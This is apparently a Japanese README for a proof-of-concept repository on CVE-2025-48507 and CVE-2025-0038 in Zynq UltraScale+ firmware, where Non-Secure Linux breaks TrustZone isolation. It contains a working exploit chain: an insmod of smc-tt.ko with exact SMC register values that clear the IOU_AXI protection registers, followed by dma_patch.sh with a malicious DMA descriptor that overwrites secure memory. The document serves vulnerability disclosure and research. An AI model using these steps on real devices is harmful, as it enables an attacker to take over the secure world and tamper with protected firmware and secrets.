
CVE-2025-48507の概念実証。このセキュリティ上の欠陥は、Non-Secureソフトウェア(例:Linux)によって悪用され、Trust Zoneを突破してSecure worldへのアクセスを得ることができます。
非セキュアソフトウェアは、CVE-2025-48507およびCVE-2025-0038を悪用して、Zynq UltraScale+プラットフォーム上のセキュアワールドへの読み取り/書き込みアクセスを取得し、TrustZoneの分離を破ることができます。そのために、非セキュアソフトウェアはCVE-2025-0038とCVE-2025-48507を悪用して、IOU_AXI_WPRTCNおよびIOU_AXI_RPRTCNレジスタ(0xFF240000)をクリアし、SDホストコントローラをセキュアマスタに切り替えます。その後、非セキュアソフトウェア(例:Linux)は、SDホストコントローラ(スレーブインターフェースはまだ非セキュア)を活用して、任意のセキュアメモリに書き込みまたは読み取りを行います。
詳細情報:
影響を受けるプラットフォーム:
影響を受けるコンポーネント:
source/ : Zynq UltraScale+ MPSoCs (ZC104) でこのPoCを再現するためのソース
CVE-2025-48507およびCVE-2025-0038を活用するため
CVE-2025-0038およびCVE-2025-48507を悪用するため
doc/ : TF-AおよびPMUレベルでのセキュリティ脆弱性を詳述したプレゼンテーションと研究記事。
hw_debug/: APUおよびPMUプロセッサ上のTF-Aをデバッグするためのハードウェアデバッガスクリプト。PMUファームウェアおよびTF-Aの影響を受ける機能をデバッグし、攻撃の成功を確認するための環境を提供します。これらのスクリプトはTrace32およびLauterbach PowerDebug PRO JTAGハードウェアデバッガと共に使用することを想定しています。ハードウェアデバッガはZCU104のJTAGポート(J180)に接続されています。
影響を受ける環境(Linux、TF-A、PMUファームウェアなど)を構築します。
Linuxをビルドする際、kconfigを介してSDHCドライバをロード可能なカーネルモジュールとして設定します。これは悪用にのみ必要です。
カーネルモジュール smc-tt.c および sdhci.c をコンパイルします。提供されたMakefileは、カーネルとコンパイラのパスを適応して使用できます。
CVEを活用するには、smc-tt.ko をLinuxのrootfsに追加します。
CVEの悪用には、sdhci.ko および dma_patch.sh をLinuxのrootfsに追加します。
CVEのPoCと悪用:
PoCでは、システム(つまりfslb、ubootなど)はSDカードから起動されました。LinuxのrootfsはUSBにフラッシュされました。DMA攻撃では、Linuxは修正済みSDHCドライバ(sdhci.ko)によって駆動されるSDホストコントローラによってアクセスされるSDカードの空のパーティションを使用しました。
CVEをテストするだけの場合は、ステップ2、3、5をスキップできます。
USBパーティション上のrootfsでNon-SecureワールドでLinuxを起動するためのU-bootコマンド:
setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
修正済みSDHCドライバを挿入して任意のDMAアクセスを実行:
insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko
修正済みSDHCドライバを活用してセキュアメモリにパッチを試みます。SDHCはまだNon-Secureであるため、これは失敗するはずです:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
ARG1: PAYLOAD
ARG2: 不正なDMAアクセスを実行するための悪意のあるディスクリプタ。
ARG3: 修正済みSDHCドライバによって制御されるSDホストコントローラが管理するデバイスパーティション。
CVEを悪用してIOU_AXI_WPRTCNおよびIOU_AXI_RPRTCN(0xFF240000)をクリアする:
insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
0xc200002E: 影響を受けるSMCコール(PM_FPGA_READ)。
0xff24000000000100: クリアするアドレス(0xFF240000)(つまりIOU_AXI_RPRTCN/IOU_AXI_WPRTCN)とクリアするバイト数(0x00000100)
0x100000000: PLデータをメインメモリに読み戻す(0x1)。何もロードされなかったため、ターゲットのメモリ領域が単にクリアされます。
PM_FPGA_READのパラメータの詳細:https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693
これでLinuxはSDHC DMAを活用してセキュアメモリに完全にアクセスできるようになります
もう一度セキュアメモリ(0xFFDC0000)にパッチを試みる。SDHCがセキュアになったため、これは成功するはずです:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3